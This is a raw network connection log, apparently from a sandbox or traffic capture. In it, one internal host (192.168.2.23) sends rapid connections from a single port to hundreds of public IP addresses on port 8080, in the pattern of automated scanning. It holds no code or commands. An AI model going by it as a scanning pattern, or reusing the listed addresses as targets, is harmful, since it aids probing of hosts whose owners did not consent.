Dec 26, 2023 21:22:43.109566927 CET	45469	8080	192.168.2.23	85.131.236.21
Dec 26, 2023 21:22:43.109570980 CET	45469	8080	192.168.2.23	85.186.11.3
Dec 26, 2023 21:22:43.109584093 CET	45469	8080	192.168.2.23	31.72.1.43
Dec 26, 2023 21:22:43.109587908 CET	45469	8080	192.168.2.23	95.49.127.65
Dec 26, 2023 21:22:43.109591961 CET	45469	8080	192.168.2.23	31.123.173.51
Dec 26, 2023 21:22:43.109596968 CET	45469	8080	192.168.2.23	94.19.204.226
Dec 26, 2023 21:22:43.109601974 CET	45469	8080	192.168.2.23	95.183.71.38
Dec 26, 2023 21:22:43.109605074 CET	45469	8080	192.168.2.23	85.128.216.184
Dec 26, 2023 21:22:43.109607935 CET	45469	8080	192.168.2.23	85.72.225.49
Dec 26, 2023 21:22:43.109626055 CET	45469	8080	192.168.2.23	94.80.69.20
Dec 26, 2023 21:22:43.109628916 CET	45469	8080	192.168.2.23	31.1.247.2
Dec 26, 2023 21:22:43.109633923 CET	45469	8080	192.168.2.23	94.5.231.16
Dec 26, 2023 21:22:43.109636068 CET	45469	8080	192.168.2.23	62.81.202.4
Dec 26, 2023 21:22:43.109639883 CET	45469	8080	192.168.2.23	85.55.212.226
Dec 26, 2023 21:22:43.109654903 CET	45469	8080	192.168.2.23	62.133.99.182
Dec 26, 2023 21:22:43.109659910 CET	45469	8080	192.168.2.23	31.134.57.118
Dec 26, 2023 21:22:43.109662056 CET	45469	8080	192.168.2.23	62.27.246.186
Dec 26, 2023 21:22:43.109675884 CET	45469	8080	192.168.2.23	94.55.123.30
Dec 26, 2023 21:22:43.109680891 CET	45469	8080	192.168.2.23	31.94.26.183
Dec 26, 2023 21:22:43.109680891 CET	45469	8080	192.168.2.23	31.217.223.10
Dec 26, 2023 21:22:43.109683990 CET	45469	8080	192.168.2.23	95.184.118.44
Dec 26, 2023 21:22:43.109694958 CET	45469	8080	192.168.2.23	62.243.65.252
Dec 26, 2023 21:22:43.109694958 CET	45469	8080	192.168.2.23	62.60.166.23
Dec 26, 2023 21:22:43.109700918 CET	45469	8080	192.168.2.23	85.38.112.79
Dec 26, 2023 21:22:43.109714985 CET	45469	8080	192.168.2.23	94.155.5.136
Dec 26, 2023 21:22:43.109720945 CET	45469	8080	192.168.2.23	62.86.220.19
Dec 26, 2023 21:22:43.109724045 CET	45469	8080	192.168.2.23	94.158.166.30
Dec 26, 2023 21:22:43.109724045 CET	45469	8080	192.168.2.23	31.23.138.52
Dec 26, 2023 21:22:43.109725952 CET	45469	8080	192.168.2.23	31.140.218.194
Dec 26, 2023 21:22:43.109741926 CET	45469	8080	192.168.2.23	85.139.187.129
Dec 26, 2023 21:22:43.109743118 CET	45469	8080	192.168.2.23	94.91.141.220
Dec 26, 2023 21:22:43.109757900 CET	45469	8080	192.168.2.23	85.154.43.99
Dec 26, 2023 21:22:43.109761000 CET	45469	8080	192.168.2.23	62.45.56.153
Dec 26, 2023 21:22:43.109761000 CET	45469	8080	192.168.2.23	31.11.187.212
Dec 26, 2023 21:22:43.109775066 CET	45469	8080	192.168.2.23	95.129.103.98
Dec 26, 2023 21:22:43.109776020 CET	45469	8080	192.168.2.23	85.118.81.85
Dec 26, 2023 21:22:43.109785080 CET	45469	8080	192.168.2.23	94.29.217.116
Dec 26, 2023 21:22:43.109795094 CET	45469	8080	192.168.2.23	95.231.171.12
Dec 26, 2023 21:22:43.109800100 CET	45469	8080	192.168.2.23	31.29.231.59
Dec 26, 2023 21:22:43.109822035 CET	45469	8080	192.168.2.23	94.189.7.84
Dec 26, 2023 21:22:43.109822989 CET	45469	8080	192.168.2.23	62.121.97.253
Dec 26, 2023 21:22:43.109824896 CET	45469	8080	192.168.2.23	62.17.99.36
Dec 26, 2023 21:22:43.109828949 CET	45469	8080	192.168.2.23	62.26.213.1
Dec 26, 2023 21:22:43.109834909 CET	45469	8080	192.168.2.23	85.84.100.4
Dec 26, 2023 21:22:43.109834909 CET	45469	8080	192.168.2.23	62.228.132.109
Dec 26, 2023 21:22:43.109838009 CET	45469	8080	192.168.2.23	31.39.184.195
Dec 26, 2023 21:22:43.109853983 CET	45469	8080	192.168.2.23	95.127.225.45
Dec 26, 2023 21:22:43.109854937 CET	45469	8080	192.168.2.23	62.98.224.36
Dec 26, 2023 21:22:43.109858036 CET	45469	8080	192.168.2.23	85.149.86.2
Dec 26, 2023 21:22:43.109870911 CET	45469	8080	192.168.2.23	94.138.204.59
Dec 26, 2023 21:22:43.109873056 CET	45469	8080	192.168.2.23	31.166.51.114
Dec 26, 2023 21:22:43.109882116 CET	45469	8080	192.168.2.23	94.100.28.163
Dec 26, 2023 21:22:43.109891891 CET	45469	8080	192.168.2.23	62.200.107.126
Dec 26, 2023 21:22:43.109899044 CET	45469	8080	192.168.2.23	62.226.64.226
Dec 26, 2023 21:22:43.109899044 CET	45469	8080	192.168.2.23	95.9.61.225
Dec 26, 2023 21:22:43.109899998 CET	45469	8080	192.168.2.23	94.172.45.44
Dec 26, 2023 21:22:43.109903097 CET	45469	8080	192.168.2.23	31.41.65.18
Dec 26, 2023 21:22:43.109920979 CET	45469	8080	192.168.2.23	31.14.12.120
Dec 26, 2023 21:22:43.109925985 CET	45469	8080	192.168.2.23	62.242.157.128
Dec 26, 2023 21:22:43.109927893 CET	45469	8080	192.168.2.23	31.45.13.183
Dec 26, 2023 21:22:43.109934092 CET	45469	8080	192.168.2.23	85.110.119.192
Dec 26, 2023 21:22:43.109950066 CET	45469	8080	192.168.2.23	94.121.247.189
Dec 26, 2023 21:22:43.109952927 CET	45469	8080	192.168.2.23	31.111.194.156
Dec 26, 2023 21:22:43.109956026 CET	45469	8080	192.168.2.23	94.215.199.186
Dec 26, 2023 21:22:43.109956026 CET	45469	8080	192.168.2.23	31.97.199.139
Dec 26, 2023 21:22:43.109961987 CET	45469	8080	192.168.2.23	85.127.85.82
Dec 26, 2023 21:22:43.109972000 CET	45469	8080	192.168.2.23	94.172.238.117
Dec 26, 2023 21:22:43.109972000 CET	45469	8080	192.168.2.23	85.66.28.31
Dec 26, 2023 21:22:43.109983921 CET	45469	8080	192.168.2.23	85.181.24.75
Dec 26, 2023 21:22:43.109983921 CET	45469	8080	192.168.2.23	85.248.166.18
Dec 26, 2023 21:22:43.109993935 CET	45469	8080	192.168.2.23	94.201.199.70
Dec 26, 2023 21:22:43.110001087 CET	45469	8080	192.168.2.23	62.176.92.61
Dec 26, 2023 21:22:43.110011101 CET	45469	8080	192.168.2.23	94.5.57.97
Dec 26, 2023 21:22:43.110011101 CET	45469	8080	192.168.2.23	95.194.236.106
Dec 26, 2023 21:22:43.110011101 CET	45469	8080	192.168.2.23	31.201.246.179
Dec 26, 2023 21:22:43.110030890 CET	45469	8080	192.168.2.23	95.29.30.67
Dec 26, 2023 21:22:43.110033035 CET	45469	8080	192.168.2.23	95.81.48.20
Dec 26, 2023 21:22:43.110033035 CET	45469	8080	192.168.2.23	62.178.130.243
Dec 26, 2023 21:22:43.110040903 CET	45469	8080	192.168.2.23	94.213.252.247
Dec 26, 2023 21:22:43.110044956 CET	45469	8080	192.168.2.23	85.119.115.57
Dec 26, 2023 21:22:43.110060930 CET	45469	8080	192.168.2.23	62.241.215.248
Dec 26, 2023 21:22:43.110061884 CET	45469	8080	192.168.2.23	31.198.57.233
Dec 26, 2023 21:22:43.110066891 CET	45469	8080	192.168.2.23	62.149.84.70
Dec 26, 2023 21:22:43.110071898 CET	45469	8080	192.168.2.23	94.217.225.124
Dec 26, 2023 21:22:43.110075951 CET	45469	8080	192.168.2.23	85.81.193.9
Dec 26, 2023 21:22:43.110088110 CET	45469	8080	192.168.2.23	31.102.32.122
Dec 26, 2023 21:22:43.110094070 CET	45469	8080	192.168.2.23	85.211.235.185
Dec 26, 2023 21:22:43.110095024 CET	45469	8080	192.168.2.23	94.187.217.158
Dec 26, 2023 21:22:43.110094070 CET	45469	8080	192.168.2.23	31.83.247.226
Dec 26, 2023 21:22:43.110095024 CET	45469	8080	192.168.2.23	94.77.47.39
Dec 26, 2023 21:22:43.110095978 CET	45469	8080	192.168.2.23	95.170.95.247
Dec 26, 2023 21:22:43.110112906 CET	45469	8080	192.168.2.23	95.17.111.64
Dec 26, 2023 21:22:43.110121012 CET	45469	8080	192.168.2.23	95.11.164.181
Dec 26, 2023 21:22:43.110122919 CET	45469	8080	192.168.2.23	95.235.33.135
Dec 26, 2023 21:22:43.110135078 CET	45469	8080	192.168.2.23	95.85.204.2
Dec 26, 2023 21:22:43.110141039 CET	45469	8080	192.168.2.23	31.56.173.34
Dec 26, 2023 21:22:43.110146046 CET	45469	8080	192.168.2.23	95.189.42.195
Dec 26, 2023 21:22:43.110146999 CET	45469	8080	192.168.2.23	85.143.61.172
Dec 26, 2023 21:22:43.110165119 CET	45469	8080	192.168.2.23	31.240.137.75
Dec 26, 2023 21:22:43.110166073 CET	45469	8080	192.168.2.23	95.82.70.51
Dec 26, 2023 21:22:43.110168934 CET	45469	8080	192.168.2.23	31.39.214.185
Dec 26, 2023 21:22:43.110168934 CET	45469	8080	192.168.2.23	85.112.218.160
Dec 26, 2023 21:22:43.110177040 CET	45469	8080	192.168.2.23	62.173.14.211
Dec 26, 2023 21:22:43.110188007 CET	45469	8080	192.168.2.23	85.4.47.240
Dec 26, 2023 21:22:43.110204935 CET	45469	8080	192.168.2.23	94.212.185.48
Dec 26, 2023 21:22:43.110205889 CET	45469	8080	192.168.2.23	95.217.207.114
Dec 26, 2023 21:22:43.110204935 CET	45469	8080	192.168.2.23	85.210.34.254
Dec 26, 2023 21:22:43.110209942 CET	45469	8080	192.168.2.23	95.33.9.15
Dec 26, 2023 21:22:43.110215902 CET	45469	8080	192.168.2.23	94.162.9.106
Dec 26, 2023 21:22:43.110215902 CET	45469	8080	192.168.2.23	95.171.29.189
Dec 26, 2023 21:22:43.110219955 CET	45469	8080	192.168.2.23	85.177.237.118
Dec 26, 2023 21:22:43.110220909 CET	45469	8080	192.168.2.23	95.30.77.142
Dec 26, 2023 21:22:43.110233068 CET	45469	8080	192.168.2.23	31.14.79.131
Dec 26, 2023 21:22:43.110235929 CET	45469	8080	192.168.2.23	62.222.157.175
Dec 26, 2023 21:22:43.110240936 CET	45469	8080	192.168.2.23	95.91.126.61
Dec 26, 2023 21:22:43.110249043 CET	45469	8080	192.168.2.23	95.221.217.163
Dec 26, 2023 21:22:43.110249043 CET	45469	8080	192.168.2.23	94.83.211.54
Dec 26, 2023 21:22:43.110270023 CET	45469	8080	192.168.2.23	85.46.230.63
Dec 26, 2023 21:22:43.110270023 CET	45469	8080	192.168.2.23	31.141.123.91
Dec 26, 2023 21:22:43.110281944 CET	45469	8080	192.168.2.23	85.99.89.241
Dec 26, 2023 21:22:43.110287905 CET	45469	8080	192.168.2.23	85.63.50.139
Dec 26, 2023 21:22:43.110290051 CET	45469	8080	192.168.2.23	95.72.110.108
Dec 26, 2023 21:22:43.110301018 CET	45469	8080	192.168.2.23	31.91.38.223
Dec 26, 2023 21:22:43.110306978 CET	45469	8080	192.168.2.23	85.35.76.78
Dec 26, 2023 21:22:43.110315084 CET	45469	8080	192.168.2.23	95.187.96.49
Dec 26, 2023 21:22:43.110315084 CET	45469	8080	192.168.2.23	62.105.58.229
Dec 26, 2023 21:22:43.110318899 CET	45469	8080	192.168.2.23	31.181.47.178
Dec 26, 2023 21:22:43.110320091 CET	45469	8080	192.168.2.23	31.58.209.54
Dec 26, 2023 21:22:43.110326052 CET	45469	8080	192.168.2.23	31.15.5.106
Dec 26, 2023 21:22:43.110340118 CET	45469	8080	192.168.2.23	94.23.111.195
Dec 26, 2023 21:22:43.110347986 CET	45469	8080	192.168.2.23	31.247.250.228
Dec 26, 2023 21:22:43.110349894 CET	45469	8080	192.168.2.23	31.21.31.6
Dec 26, 2023 21:22:43.110352993 CET	45469	8080	192.168.2.23	94.190.78.199
Dec 26, 2023 21:22:43.110356092 CET	45469	8080	192.168.2.23	62.247.239.155
Dec 26, 2023 21:22:43.110369921 CET	45469	8080	192.168.2.23	85.227.189.183
Dec 26, 2023 21:22:43.110371113 CET	45469	8080	192.168.2.23	62.27.27.92
Dec 26, 2023 21:22:43.110371113 CET	45469	8080	192.168.2.23	62.4.2.7
Dec 26, 2023 21:22:43.110373974 CET	45469	8080	192.168.2.23	31.120.245.44
Dec 26, 2023 21:22:43.110373974 CET	45469	8080	192.168.2.23	31.165.219.149
Dec 26, 2023 21:22:43.110377073 CET	45469	8080	192.168.2.23	62.86.56.86
Dec 26, 2023 21:22:43.110378027 CET	45469	8080	192.168.2.23	31.25.118.245
Dec 26, 2023 21:22:43.110377073 CET	45469	8080	192.168.2.23	62.10.107.244
Dec 26, 2023 21:22:43.110383034 CET	45469	8080	192.168.2.23	62.177.254.71
Dec 26, 2023 21:22:43.110384941 CET	45469	8080	192.168.2.23	94.246.206.80
Dec 26, 2023 21:22:43.110384941 CET	45469	8080	192.168.2.23	85.68.198.239
Dec 26, 2023 21:22:43.110388041 CET	45469	8080	192.168.2.23	95.10.164.152
Dec 26, 2023 21:22:43.110389948 CET	45469	8080	192.168.2.23	94.87.132.156
Dec 26, 2023 21:22:43.110407114 CET	45469	8080	192.168.2.23	62.109.181.178
Dec 26, 2023 21:22:43.110409021 CET	45469	8080	192.168.2.23	62.127.3.137
Dec 26, 2023 21:22:43.110409975 CET	45469	8080	192.168.2.23	94.135.208.190
Dec 26, 2023 21:22:43.110414982 CET	45469	8080	192.168.2.23	62.39.103.67
Dec 26, 2023 21:22:43.110424042 CET	45469	8080	192.168.2.23	31.50.232.233
Dec 26, 2023 21:22:43.110426903 CET	45469	8080	192.168.2.23	62.250.45.30
Dec 26, 2023 21:22:43.110434055 CET	45469	8080	192.168.2.23	85.187.102.40
Dec 26, 2023 21:22:43.110434055 CET	45469	8080	192.168.2.23	62.103.183.101
Dec 26, 2023 21:22:43.110450029 CET	45469	8080	192.168.2.23	85.44.156.121
Dec 26, 2023 21:22:43.110455990 CET	45469	8080	192.168.2.23	95.110.234.121
Dec 26, 2023 21:22:43.110459089 CET	45469	8080	192.168.2.23	95.158.97.11
Dec 26, 2023 21:22:43.110460043 CET	45469	8080	192.168.2.23	94.86.5.84
Dec 26, 2023 21:22:43.110474110 CET	45469	8080	192.168.2.23	62.116.54.167
Dec 26, 2023 21:22:43.110476971 CET	45469	8080	192.168.2.23	94.195.71.15
Dec 26, 2023 21:22:43.110485077 CET	45469	8080	192.168.2.23	31.243.36.208
Dec 26, 2023 21:22:43.110502005 CET	45469	8080	192.168.2.23	85.176.135.25
Dec 26, 2023 21:22:43.110502958 CET	45469	8080	192.168.2.23	31.82.82.138
Dec 26, 2023 21:22:43.110502958 CET	45469	8080	192.168.2.23	31.168.240.185
Dec 26, 2023 21:22:43.110511065 CET	45469	8080	192.168.2.23	94.144.48.144
Dec 26, 2023 21:22:43.110511065 CET	45469	8080	192.168.2.23	62.201.97.125
Dec 26, 2023 21:22:43.110521078 CET	45469	8080	192.168.2.23	85.117.55.243
Dec 26, 2023 21:22:43.110534906 CET	45469	8080	192.168.2.23	62.119.49.7
Dec 26, 2023 21:22:43.110538960 CET	45469	8080	192.168.2.23	95.56.252.224
Dec 26, 2023 21:22:43.110538960 CET	45469	8080	192.168.2.23	31.253.72.54
Dec 26, 2023 21:22:43.110551119 CET	45469	8080	192.168.2.23	85.119.184.74
Dec 26, 2023 21:22:43.110560894 CET	45469	8080	192.168.2.23	31.68.225.131
Dec 26, 2023 21:22:43.110565901 CET	45469	8080	192.168.2.23	85.142.165.30
Dec 26, 2023 21:22:43.110575914 CET	45469	8080	192.168.2.23	85.30.186.240
Dec 26, 2023 21:22:43.110605955 CET	45469	8080	192.168.2.23	62.112.169.167
Dec 26, 2023 21:22:43.110611916 CET	45469	8080	192.168.2.23	94.62.242.122
Dec 26, 2023 21:22:43.110613108 CET	45469	8080	192.168.2.23	31.103.86.4
Dec 26, 2023 21:22:43.110614061 CET	45469	8080	192.168.2.23	94.34.235.189
Dec 26, 2023 21:22:43.110615969 CET	45469	8080	192.168.2.23	62.69.181.122
Dec 26, 2023 21:22:43.110615969 CET	45469	8080	192.168.2.23	94.178.119.106
Dec 26, 2023 21:22:43.110620022 CET	45469	8080	192.168.2.23	95.95.246.240
Dec 26, 2023 21:22:43.110624075 CET	45469	8080	192.168.2.23	95.10.203.224
Dec 26, 2023 21:22:43.110631943 CET	45469	8080	192.168.2.23	85.181.244.241
Dec 26, 2023 21:22:43.110639095 CET	45469	8080	192.168.2.23	85.115.51.116
Dec 26, 2023 21:22:43.110652924 CET	45469	8080	192.168.2.23	62.232.93.0
Dec 26, 2023 21:22:43.110656977 CET	45469	8080	192.168.2.23	94.173.188.235
Dec 26, 2023 21:22:43.110662937 CET	45469	8080	192.168.2.23	85.143.84.134
Dec 26, 2023 21:22:43.110680103 CET	45469	8080	192.168.2.23	62.82.200.219
Dec 26, 2023 21:22:43.110680103 CET	45469	8080	192.168.2.23	85.140.170.244
Dec 26, 2023 21:22:43.110681057 CET	45469	8080	192.168.2.23	94.171.206.200
Dec 26, 2023 21:22:43.110686064 CET	45469	8080	192.168.2.23	94.73.133.27
Dec 26, 2023 21:22:43.110687017 CET	45469	8080	192.168.2.23	95.235.144.204
Dec 26, 2023 21:22:43.110687017 CET	45469	8080	192.168.2.23	95.105.163.213
Dec 26, 2023 21:22:43.110687971 CET	45469	8080	192.168.2.23	85.143.130.182
Dec 26, 2023 21:22:43.110687971 CET	45469	8080	192.168.2.23	95.250.125.200
Dec 26, 2023 21:22:43.110694885 CET	45469	8080	192.168.2.23	94.193.4.126
Dec 26, 2023 21:22:43.110699892 CET	45469	8080	192.168.2.23	31.117.42.143
Dec 26, 2023 21:22:43.110713005 CET	45469	8080	192.168.2.23	31.15.209.242
Dec 26, 2023 21:22:43.110713959 CET	45469	8080	192.168.2.23	31.189.68.24
Dec 26, 2023 21:22:43.110718966 CET	45469	8080	192.168.2.23	31.92.106.215
Dec 26, 2023 21:22:43.110722065 CET	45469	8080	192.168.2.23	62.148.141.114
Dec 26, 2023 21:22:43.110718966 CET	45469	8080	192.168.2.23	95.3.73.9
Dec 26, 2023 21:22:43.110724926 CET	45469	8080	192.168.2.23	94.6.96.218
Dec 26, 2023 21:22:43.110728025 CET	45469	8080	192.168.2.23	85.202.7.150
Dec 26, 2023 21:22:43.110728025 CET	45469	8080	192.168.2.23	95.39.179.220
Dec 26, 2023 21:22:43.110728025 CET	45469	8080	192.168.2.23	95.210.90.45
Dec 26, 2023 21:22:43.110730886 CET	45469	8080	192.168.2.23	62.79.249.14
Dec 26, 2023 21:22:43.110730886 CET	45469	8080	192.168.2.23	95.201.182.248
Dec 26, 2023 21:22:43.110730886 CET	45469	8080	192.168.2.23	85.158.188.136
Dec 26, 2023 21:22:43.110750914 CET	45469	8080	192.168.2.23	85.237.215.211
Dec 26, 2023 21:22:43.110752106 CET	45469	8080	192.168.2.23	95.236.88.225
Dec 26, 2023 21:22:43.110755920 CET	45469	8080	192.168.2.23	85.86.174.230
Dec 26, 2023 21:22:43.110755920 CET	45469	8080	192.168.2.23	31.7.83.164
Dec 26, 2023 21:22:43.110774994 CET	45469	8080	192.168.2.23	94.33.138.232
Dec 26, 2023 21:22:43.110778093 CET	45469	8080	192.168.2.23	31.220.152.190
Dec 26, 2023 21:22:43.110780001 CET	45469	8080	192.168.2.23	85.172.24.181
Dec 26, 2023 21:22:43.110781908 CET	45469	8080	192.168.2.23	95.51.245.21
Dec 26, 2023 21:22:43.110785007 CET	45469	8080	192.168.2.23	94.94.231.99
Dec 26, 2023 21:22:43.110794067 CET	45469	8080	192.168.2.23	85.29.117.108
Dec 26, 2023 21:22:43.110800028 CET	45469	8080	192.168.2.23	31.228.233.169
Dec 26, 2023 21:22:43.110800028 CET	45469	8080	192.168.2.23	62.91.119.142
Dec 26, 2023 21:22:43.110805035 CET	45469	8080	192.168.2.23	31.75.11.55
Dec 26, 2023 21:22:43.110806942 CET	45469	8080	192.168.2.23	94.9.184.155
Dec 26, 2023 21:22:43.110810041 CET	45469	8080	192.168.2.23	31.13.186.28
Dec 26, 2023 21:22:43.110814095 CET	45469	8080	192.168.2.23	62.112.32.174
Dec 26, 2023 21:22:43.110824108 CET	45469	8080	192.168.2.23	95.110.218.71
Dec 26, 2023 21:22:43.110824108 CET	45469	8080	192.168.2.23	95.236.72.101
Dec 26, 2023 21:22:43.110824108 CET	45469	8080	192.168.2.23	95.235.31.70
Dec 26, 2023 21:22:43.110825062 CET	45469	8080	192.168.2.23	95.197.76.118
Dec 26, 2023 21:22:43.110843897 CET	45469	8080	192.168.2.23	94.219.253.206
Dec 26, 2023 21:22:43.110843897 CET	45469	8080	192.168.2.23	62.183.141.217
Dec 26, 2023 21:22:43.110851049 CET	45469	8080	192.168.2.23	94.93.46.55
Dec 26, 2023 21:22:43.110867023 CET	45469	8080	192.168.2.23	62.143.178.178
Dec 26, 2023 21:22:43.110867977 CET	45469	8080	192.168.2.23	95.116.190.240
Dec 26, 2023 21:22:43.110867977 CET	45469	8080	192.168.2.23	31.119.154.63
Dec 26, 2023 21:22:43.110879898 CET	45469	8080	192.168.2.23	94.30.142.172
Dec 26, 2023 21:22:43.110879898 CET	45469	8080	192.168.2.23	95.167.163.225
Dec 26, 2023 21:22:43.110882998 CET	45469	8080	192.168.2.23	94.69.31.10
Dec 26, 2023 21:22:43.110882998 CET	45469	8080	192.168.2.23	94.176.139.128
Dec 26, 2023 21:22:43.110883951 CET	45469	8080	192.168.2.23	95.246.136.195
Dec 26, 2023 21:22:43.110883951 CET	45469	8080	192.168.2.23	85.154.245.201
Dec 26, 2023 21:22:43.110888004 CET	45469	8080	192.168.2.23	62.190.173.183
Dec 26, 2023 21:22:43.110889912 CET	45469	8080	192.168.2.23	62.219.152.171
Dec 26, 2023 21:22:43.110891104 CET	45469	8080	192.168.2.23	94.151.168.136
Dec 26, 2023 21:22:43.110894918 CET	45469	8080	192.168.2.23	95.93.58.255
Dec 26, 2023 21:22:43.110894918 CET	45469	8080	192.168.2.23	85.134.178.117
Dec 26, 2023 21:22:43.110902071 CET	45469	8080	192.168.2.23	95.236.138.104
Dec 26, 2023 21:22:43.110908031 CET	45469	8080	192.168.2.23	85.202.183.134
Dec 26, 2023 21:22:43.110919952 CET	45469	8080	192.168.2.23	62.80.97.124
Dec 26, 2023 21:22:43.110927105 CET	45469	8080	192.168.2.23	94.120.85.35
Dec 26, 2023 21:22:43.110933065 CET	45469	8080	192.168.2.23	94.74.43.203
Dec 26, 2023 21:22:43.110943079 CET	45469	8080	192.168.2.23	95.208.203.140
Dec 26, 2023 21:22:43.110943079 CET	45469	8080	192.168.2.23	95.138.233.115
Dec 26, 2023 21:22:43.110953093 CET	45469	8080	192.168.2.23	94.148.26.177
Dec 26, 2023 21:22:43.110965014 CET	45469	8080	192.168.2.23	62.196.17.128
Dec 26, 2023 21:22:43.110966921 CET	45469	8080	192.168.2.23	94.149.139.172
Dec 26, 2023 21:22:43.110976934 CET	45469	8080	192.168.2.23	85.2.192.171
Dec 26, 2023 21:22:43.110982895 CET	45469	8080	192.168.2.23	85.161.190.60
Dec 26, 2023 21:22:43.110985041 CET	45469	8080	192.168.2.23	94.67.3.124
Dec 26, 2023 21:22:43.110989094 CET	45469	8080	192.168.2.23	31.178.33.203
Dec 26, 2023 21:22:43.111006975 CET	45469	8080	192.168.2.23	95.26.186.35
Dec 26, 2023 21:22:43.111010075 CET	45469	8080	192.168.2.23	62.117.37.197
Dec 26, 2023 21:22:43.111010075 CET	45469	8080	192.168.2.23	62.126.253.187
Dec 26, 2023 21:22:43.111011028 CET	45469	8080	192.168.2.23	31.166.20.177
Dec 26, 2023 21:22:43.111016035 CET	45469	8080	192.168.2.23	94.189.46.64
Dec 26, 2023 21:22:43.111016989 CET	45469	8080	192.168.2.23	62.147.249.125
Dec 26, 2023 21:22:43.111022949 CET	45469	8080	192.168.2.23	94.177.61.22
Dec 26, 2023 21:22:43.111026049 CET	45469	8080	192.168.2.23	62.50.158.92
Dec 26, 2023 21:22:43.111035109 CET	45469	8080	192.168.2.23	94.249.180.198
Dec 26, 2023 21:22:43.111052990 CET	45469	8080	192.168.2.23	95.96.148.169
Dec 26, 2023 21:22:43.111054897 CET	45469	8080	192.168.2.23	62.211.43.43
Dec 26, 2023 21:22:43.111054897 CET	45469	8080	192.168.2.23	94.94.73.36
Dec 26, 2023 21:22:43.111061096 CET	45469	8080	192.168.2.23	31.254.92.189
Dec 26, 2023 21:22:43.111061096 CET	45469	8080	192.168.2.23	31.136.101.65
Dec 26, 2023 21:22:43.111061096 CET	45469	8080	192.168.2.23	62.166.2.107
Dec 26, 2023 21:22:43.111061096 CET	45469	8080	192.168.2.23	31.170.148.255
Dec 26, 2023 21:22:43.111069918 CET	45469	8080	192.168.2.23	85.91.139.251
Dec 26, 2023 21:22:43.111069918 CET	45469	8080	192.168.2.23	31.183.162.247
Dec 26, 2023 21:22:43.111073017 CET	45469	8080	192.168.2.23	94.99.232.187
Dec 26, 2023 21:22:43.111073971 CET	45469	8080	192.168.2.23	62.22.18.158
Dec 26, 2023 21:22:43.111073971 CET	45469	8080	192.168.2.23	85.216.166.132
Dec 26, 2023 21:22:43.111073971 CET	45469	8080	192.168.2.23	85.25.197.23
Dec 26, 2023 21:22:43.111078024 CET	45469	8080	192.168.2.23	94.27.230.250
Dec 26, 2023 21:22:43.111078978 CET	45469	8080	192.168.2.23	31.76.187.38
Dec 26, 2023 21:22:43.111083984 CET	45469	8080	192.168.2.23	95.9.224.149
Dec 26, 2023 21:22:43.111088037 CET	45469	8080	192.168.2.23	95.22.171.96
Dec 26, 2023 21:22:43.111098051 CET	45469	8080	192.168.2.23	94.60.178.133
Dec 26, 2023 21:22:43.111104012 CET	45469	8080	192.168.2.23	95.139.72.210
Dec 26, 2023 21:22:43.111112118 CET	45469	8080	192.168.2.23	31.103.123.151
Dec 26, 2023 21:22:43.111112118 CET	45469	8080	192.168.2.23	94.170.177.220
Dec 26, 2023 21:22:43.111115932 CET	45469	8080	192.168.2.23	94.135.226.201
Dec 26, 2023 21:22:43.111129045 CET	45469	8080	192.168.2.23	85.78.32.79
Dec 26, 2023 21:22:43.111129045 CET	45469	8080	192.168.2.23	85.172.211.116
Dec 26, 2023 21:22:43.111131907 CET	45469	8080	192.168.2.23	95.64.201.177
Dec 26, 2023 21:22:43.111135960 CET	45469	8080	192.168.2.23	31.79.135.53
Dec 26, 2023 21:22:43.111136913 CET	45469	8080	192.168.2.23	31.212.159.94
Dec 26, 2023 21:22:43.111150026 CET	45469	8080	192.168.2.23	85.159.45.203
Dec 26, 2023 21:22:43.111150026 CET	45469	8080	192.168.2.23	31.74.143.205
Dec 26, 2023 21:22:43.111165047 CET	45469	8080	192.168.2.23	94.89.149.214
Dec 26, 2023 21:22:43.111175060 CET	45469	8080	192.168.2.23	85.244.252.82
Dec 26, 2023 21:22:43.111176968 CET	45469	8080	192.168.2.23	31.233.107.128
Dec 26, 2023 21:22:43.111180067 CET	45469	8080	192.168.2.23	95.224.99.214
Dec 26, 2023 21:22:43.111180067 CET	45469	8080	192.168.2.23	85.225.186.135
Dec 26, 2023 21:22:43.111190081 CET	45469	8080	192.168.2.23	95.229.233.221
Dec 26, 2023 21:22:43.111190081 CET	45469	8080	192.168.2.23	62.209.255.255
Dec 26, 2023 21:22:43.111206055 CET	45469	8080	192.168.2.23	95.46.122.219
Dec 26, 2023 21:22:43.111206055 CET	45469	8080	192.168.2.23	94.91.186.199
Dec 26, 2023 21:22:43.111206055 CET	45469	8080	192.168.2.23	85.225.117.211
Dec 26, 2023 21:22:43.111212969 CET	45469	8080	192.168.2.23	31.9.163.191
Dec 26, 2023 21:22:43.111222029 CET	45469	8080	192.168.2.23	95.214.254.125
Dec 26, 2023 21:22:43.111222982 CET	45469	8080	192.168.2.23	31.95.10.40
Dec 26, 2023 21:22:43.111238956 CET	45469	8080	192.168.2.23	62.162.85.253
Dec 26, 2023 21:22:43.111244917 CET	45469	8080	192.168.2.23	95.61.211.44
Dec 26, 2023 21:22:43.111247063 CET	45469	8080	192.168.2.23	95.234.201.49
Dec 26, 2023 21:22:43.111251116 CET	45469	8080	192.168.2.23	85.78.74.184
Dec 26, 2023 21:22:43.111260891 CET	45469	8080	192.168.2.23	31.42.252.89
Dec 26, 2023 21:22:43.111263990 CET	45469	8080	192.168.2.23	31.134.75.168
Dec 26, 2023 21:22:43.111263990 CET	45469	8080	192.168.2.23	94.83.136.153
Dec 26, 2023 21:22:43.111268997 CET	45469	8080	192.168.2.23	85.202.209.222
Dec 26, 2023 21:22:43.111269951 CET	45469	8080	192.168.2.23	62.23.23.145
Dec 26, 2023 21:22:43.111280918 CET	45469	8080	192.168.2.23	31.213.146.28
Dec 26, 2023 21:22:43.111284971 CET	45469	8080	192.168.2.23	94.119.198.247
Dec 26, 2023 21:22:43.111290932 CET	45469	8080	192.168.2.23	31.233.17.100
Dec 26, 2023 21:22:43.111308098 CET	45469	8080	192.168.2.23	62.25.213.80
Dec 26, 2023 21:22:43.111308098 CET	45469	8080	192.168.2.23	62.202.120.72
Dec 26, 2023 21:22:43.111310959 CET	45469	8080	192.168.2.23	85.120.9.93
Dec 26, 2023 21:22:43.111323118 CET	45469	8080	192.168.2.23	62.133.145.234
Dec 26, 2023 21:22:43.111325979 CET	45469	8080	192.168.2.23	95.198.225.49
Dec 26, 2023 21:22:43.111325979 CET	45469	8080	192.168.2.23	95.75.231.103
Dec 26, 2023 21:22:43.111340046 CET	45469	8080	192.168.2.23	95.201.164.145
Dec 26, 2023 21:22:43.111344099 CET	45469	8080	192.168.2.23	95.199.35.254
Dec 26, 2023 21:22:43.111347914 CET	45469	8080	192.168.2.23	31.71.100.205
